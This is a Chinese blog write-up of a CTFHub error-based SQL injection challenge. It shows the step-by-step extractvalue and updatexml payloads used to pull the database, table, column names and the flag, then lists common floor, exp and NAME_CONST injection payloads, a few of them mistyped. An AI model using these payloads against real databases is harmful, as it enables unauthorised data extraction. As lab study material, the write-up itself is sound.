CTFHub | 报错注入

0x00 前言

        CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。

        

        

0x01 题目描述

报错注入:

        (无)

网页显示内容

        

        

0x02 解题过程

        因为报错注入的语句比较多,测试了几个函数发现 updatexml 函数存在 SQL 报错注入漏洞,得到数据库名称 sqli 后,查询数据库表名,发现一个可疑表名 flag 。检查这个 flag 表中的列,发现一个列名为 flag ,查询数据发现此题 flag 。发现数据不完整,使用 mid 函数进行查询从字符 2 开始得到完整数据。

        

查询数据库名称

union select updatexml(1,concat(0x7e,database(),0x7e),1);

        

查询当前数据库sqli的表名,发现有一个表名为flag比较可疑

and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli'),0x7e))--+

        

查询当前表flag,发现有一个列为flag

and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e))--+

         

查询flag列名中的数据发现此题flag,但是发现flag不完整

and extractvalue(1,concat(0x7e,(select flag from flag),0x7e))--+

        

使用mid函数跳过第一个字符c,提取剩下的全部字符

and extractvalue(1,concat(0x7e,mid((select flag from flag),2),0x7e))--+

        

        

0x03 报错注入

注入语句解析:

查询数据库:union select updatexml(1,concat(0x7e,database(),0x7e),1);

#updatexml 对XML文档进行查询的函数,database() 数据库

查询表名:and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli'),0x7e))--+

#table 表,schema 元数据的一个抽象集合

查询列名:and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e))--+

查询数据:and extractvalue(1,concat(0x7e,(select flag from flag),0x7e))--+

提取字符:and extractvalue(1,concat(0x7e,mid((select flag from flag),2),0x7e))--+

mid 函数使用方法:

参数描述
column_name必需。要提取字符的字段。
start必需。规定开始位置(起始值是 1)。
length可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。

payload:mid((select flag from flag),column_name,start,length

常用注入语句:

1.floor()报错注入

union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

2.extractvalue()报错注入

and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

3.updatexml()报错注入

and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

4.exp()报错注入

nion select (exp(~(select * FROM(SELECT USER())a))),2,3--+

5.NAME_CONST()

union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

        

        

0x04 参考文献

[1].郁离歌. SQL注入之报错注入的一些随笔[EB/OL]. [2022-10-28]. https://blog.csdn.net/like98k/article/details/79646512.

[2].Dar1in9. sql注入之报错注入[EB/OL]. [2022-10-28]. https://blog.csdn.net/silence1_/article/details/90812612.

[3].w3school. SQL MID() 函数[EB/OL]. [2022-10-28]. https://www.w3school.com.cn/sql/sql_func_mid.asp.

        

        

0x05 总结

文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。

  • 5
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 6
    评论
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

尼泊罗河伯

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值